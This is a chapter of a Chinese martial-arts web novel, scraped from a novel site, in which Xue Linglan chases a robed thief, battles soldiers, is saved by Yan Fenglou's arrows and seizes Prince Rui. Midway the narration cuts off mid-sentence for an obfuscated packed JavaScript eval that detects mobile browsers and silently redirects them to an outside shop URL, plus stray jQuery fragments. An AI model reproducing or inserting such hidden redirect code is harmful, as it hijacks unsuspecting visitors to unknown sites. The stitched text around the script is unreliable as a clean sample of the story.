文趣网 > 其他小说 > 动心就是你的不对了 > 11. 严凤楼绝不能死
    底下戴着兜帽的薛铃兰听罢摇头轻笑,这年轻的少盟主倒是颇有名门之后的做派,可未免还是年轻气盛了些。却见那睿王爷兀自上轿,甲士们也自发排成两队,将鬼市诸人围在其中,缓缓往武林盟而去。

    “姐姐,怎么办?”人群中,严凤楼低声相询。

    薛铃兰略一思索,伸手安抚道:“无妨,宋端阳身为武林盟少盟主还是资历太浅,他现在急需树立威信,笼络人心。既然说了只为寻找盗贼,不论其他,便不会反悔,否则将来如何服众?况且......”薛铃兰想起前几日和宋端阳的相遇,这年轻的少盟主似乎对自己并无恶意。

    二人正小声说话,身侧突然快步走过一人。那人穿着包裹到脚的宽大黑袍,也不知那黑袍底下都藏了些什么,一旁正在神游的梦晓生被撞了一个趔趄差点摔倒,被薛铃兰眼疾手快伸手搀住。梦晓生起身便直接破口大骂,那人却连道歉都没有,自顾自的便要继续向前。

    薛铃兰摇了摇头,不欲在这群官差面前惹麻烦。可那人走过后,宽大的斗篷顺势向后一扬,掀起一阵微风。薛铃兰猛然瞪大了双眼,瞬间扭头看了过去,她嗅到了一股奇异的香味。

    是丹香。

    一般人可能只会以为是女子身上的香粉气息,可薛铃兰从小在药王谷长大,又曾是丹房弟子,自然对这种香气无比熟悉。而且她也深知,越是药效奇异的丹药,丹香越是难以遮盖。

    灵犀丹在他身上!

    眼看那人就要走远,薛铃兰眼神一凝,五指成爪,抬手就要去扣住那人肩膀。可谁知对方竟像是身后长了眼睛一般,肩膀忽然塌了下去,随即这黑袍人脚下一滑,瞬间如一片枯叶般随风飘出五尺。

    “等等!”薛铃兰抓了个空,不及多想,脚下一动便纵身追了上去。

    “喂喂,别追了,我也没有很生气!”梦晓生眼睁睁看着她几步跃出人群,顿时心中大急。可仅仅两句话的功夫,薛铃兰就已经如一只大鸟般飞掠了老远。严凤楼见状也忙要跟上,却被身后一排堆满了货物的推车给生生拦在了原地。待他奋力挤出车流,早已不见了薛铃兰的踪影。

    薛铃兰这边,那黑袍人身形飘渺如鬼魅,足尖轻点便掠出数丈,宽大黑袍被夜风兜起,起落间竟不带半点尘埃。薛铃兰步履轻盈,可每当即将赶上,那黑袍人便再次提速,始终和她保持数尺的距离。

    “好轻功。”薛铃兰心中暗叹,她自诩轻功不差,竟连对方衣角都碰不到。她的胸口已经隐隐有些发紧,可只要微微喘息,那黑袍人的身影便又要飘出老远,薛铃兰也只好跟着咬牙提气,紧随其后。

    二人逆着人流一追一逃,顿时在队伍中造成一阵骚乱,自然也引来了周围官兵的注意。

    “站住,你们在做什么!”有官兵大声呼喝,持刀冲来,路上诸人见状纷纷避让。薛铃兰却已经顾不得这么多,清喝一声,将内力灌注双腿,凌空一个跟斗竟是直接落在了那黑袍人的身前。那人骤然刹住,回身就要再逃。薛铃兰却抬手抽出腰侧长鞭,手臂一震,鞭子顿时如灵蛇吐信般卷上了黑袍人的腿。

    可奇异的事情发生了,长鞭明明已经击中目标,却居然卷了个空!薛铃兰心中一惊,可鞭子去势不减,整条鞭身绷得笔直,竟是借着挥出的惯性直直冲着主人而来!薛铃兰不及收势,只得迅速抬手回挡。只听“叮”的一声,那软钢打制的鞭梢被薛铃兰的左手牢牢抓住,巨大的力道瞬间将她的手套震了个粉碎,露出其下暗银色的手指。

    薛铃兰手腕被震得生疼,但那黑袍人已经再次飘飞而去,眨眼便不见了踪影。

    那黑袍下面居然空无一物。

    她心下震动,可周围甲兵已经渐渐围拢了上来,薛铃兰简直头皮发麻,手上长鞭一甩逼退众人,朗声言道:“方才那黑袍人是就是你们要抓的贼!”

    可官兵却毫无动摇,那兵头执刀指着她,语气轻蔑道:“哪有甚么黑袍人,分明是你畏罪潜逃,还想欺瞒我等,速速交出赃物束手就擒,否则,格杀勿论!”

    身旁一众兵卒跟着嗤笑,长枪“唰”的一声直指薛铃兰,跟着步步收紧,誓要逼她就范。

    薛铃兰指上的机械关节咔咔轻颤,鞭柄在指间锁紧,随即冷笑一声:“好,好一个黑白不分。”

    话音刚落,她右脚一跺,周围兵卒也猛地刺出长枪。利刃摩擦出令人牙酸的吱呀声,可薛铃兰的身影已经出现在了半空,她轻喝一声,脚尖一点下方枪杆,竟直接借力腾跃而起!

    她的斗篷在空中翻飞,内里红裙铺开,仿佛夜空中一团轰然炸开的火焰。

    四周兵卒神色一变,齐齐刀锋朝上,催逼上前。一时间下方利刃交织,寒光尽显。电光火石间,薛铃兰借着腾空的间隙张口咬住长鞭,双手从腰间交叠划过,手臂陡然张开。

    霎那间,数十枚青钱在夜色的掩映下带着尖啸声激射而出!

    只听得惨叫声骤起,瞬间已经有数名甲士捂着头脸在地上翻滚。众人慌忙埋头格挡,漫天青钱如雨点般落下,打在兵卒的铠甲上叮叮当当火花四溅。

    薛铃兰本来也没指望这小小暗器能够穿透铁甲,只是想给自己争取一点喘息之机。趁着众人躲避的功夫,她的躯体在空中飞燕般轻巧回旋,一个空翻倏然落地。同时手中长鞭如银蛇窜出,鞭梢擦着最靠前的一杆长枪扫过,震得那兵士虎口发麻,精铁打制的长枪险些脱手。

    像长鞭这种软兵器,全凭腕力控势、身法配合。既可以作为钩锁在打斗中灵活缠绞,一旦蓄力绷直又变成了长兵器,劈砍横扫,刚猛无比,其力不输枪棒。而俗话说,一寸长,一寸强。薛铃兰的长鞭足有九尺有余,挥舞起来漫天鞭影封锁周身,一时间逼得众人连连后退。

    其余诸人见薛铃兰和甲兵相斗,趁机纷纷作鸟兽散,于是又引来无数官兵的围追堵截。这些江湖人士本就各个身怀绝技,又素来不服朝廷管束,此时更是将奇门暗器、旁门伎俩尽数使出,接连冲破了几处防线。官兵们顾此失彼,一部分忙着追捕逃窜之人,一部分仍死死缠着薛铃兰。

    而薛铃兰也终究还是体力有限,密不透风的鞭子逐渐难以为继。听声音,远处似乎又有无数铁骑驰马赶来,薛铃兰暗叫不好,她身陷军阵,如今已是在勉力支撑,不能再拖下去了。可她刚避开一把长刀,胸口猝然闷痛,竟是那寒毒骤然发难。薛铃兰心神一晃,长鞭险些脱手,顿时被身后袭来的不知什么兵刃重重扫中肩胛。

    薛铃兰眼前一黑,口中涌上一股腥甜,又被她咬牙咽下。她猛然回身长鞭射出,卷住身后偷袭之人的脖子,将其重重甩飞在地。可她也终于单膝跪下,一时难以动弹。与此同时,只听不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608127|205798||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    远处高高的土堆上一阵马蹄声响,薛铃兰猛地回头,却是又有一人一骑迎面奔来,那身披甲胄的兵士手拖长戟,竟是打算将她就地格杀!

    马蹄声震,那沉重的斧刃犁开层层冻土,泥块碎碴四下迸溅。周遭士卒也被这股威势所慑,纷纷避让。

    薛铃兰头晕眼花,勉力撑起上身,左手机械指关节开始咬合蓄力,最后一枚青钱已经被她捏在指尖。

    行到近前,那甲士一勒缰绳,抡动长戟便向着薛铃兰当头劈下,而薛铃兰手上的青钱也“叮”的一声飞了出去!却被他咽喉上的铁护颈弹飞,顺势斜插进了那人下颌!

    那甲士登时惨叫一声,可他却不顾疼痛,手上战斧持续下落!

    薛铃兰一击失利,当即用尽最后力气挥出鞭子缠住远处一辆货车,奋力一扯,整个人登时擦着地面飞了出去,刚好躲过那致命的一斧子。她仰面躺在地上,只觉浑身剧痛,后背更是火辣辣一片,不用看也知道必定是皮开肉绽。却听不远处马蹄声再次响起,薛铃兰挣扎着翻身爬起,一抬头那甲士已经来到眼前再次举起了巨斧!

    “咻——”一支箭矢划破天际,利箭裹挟者千钧劲力,竟是硬生生穿透铁甲,牢牢钉在了甲士后心。那甲士挥戟的动作骤然一僵,身躯在马上摇晃几下,终于随着沉重长戟砸落在地,扬起滚滚尘烟。

    薛铃兰猛然回头,目光越过攒动兵卒,严凤楼正站在一座倒塌货车上远远向她挥手示意,随即又再次引弓搭箭。

    只听接连数道破风声响,薛铃兰身周士卒接连中箭倒地。在一片哀嚎声中,薛铃兰趁乱跃上一匹落单的战马。可远处的兵卒也很快发现了严凤楼,纷纷举刀扑向车架。

    “凤楼!”薛铃兰大喊一声,试图纵马回援,她的斗篷猎猎扬起,红裙如火般翻涌。

    那边严凤楼已经弃了箭矢,单手攥紧长弓,以弓身横抡,砸开劈来的刀斧。

    薛铃兰好容易从一群士卒中冲出来,却听远处几声呼哨,知晓严凤楼是让她先走,自己断后。薛铃兰放眼望去,官兵们如潮水涌来,那边严凤楼已经被逼得跳下了车架,眨眼就淹没在了人海。

    薛铃兰咬了咬牙,继续催动缰绳向着严凤楼的方向而去。此时此刻,她的心中只有一个念头。

    严凤楼绝不能死。

    远处不知什么东西起了火,“轰”的一声炸开。薛铃兰□□的军马受了惊吓,陡然昂首长嘶,前蹄腾空将她掀翻坠地。待得薛铃兰艰难起身,那马儿早就跑没影儿了。

    周围几辆货车已经燃起了熊熊大火,周遭吵嚷声、打斗声此起彼伏,四下是鸡飞狗跳,场面彻底乱作一团。到处都是官兵和四散的人群,反倒没什么人注意她了。薛铃兰稍稍喘息,却见不远处小山丘上竟停着一顶青布小轿,正是方才那睿王殿下所乘的轿子。她心下一动,立马一跃而起,转而直奔向那小山丘。

    待她行到近前,却发现那小轿周围竟没有多少侍卫看护,而那一身白衣的睿王正独自在松树下负手而立,默默眺望。薛铃兰心中大喜,随即静息屏气,潜行上去。

    李玄都低头且看下方乱象,缓缓转动着拇指上的玉扳指,眼中却是一片漠然。忽听得耳边一阵风声,不等他开口,脖颈间已经多了一只冰冷的手。

    “叫你的人停手。”那铁手的主人冷冷言道。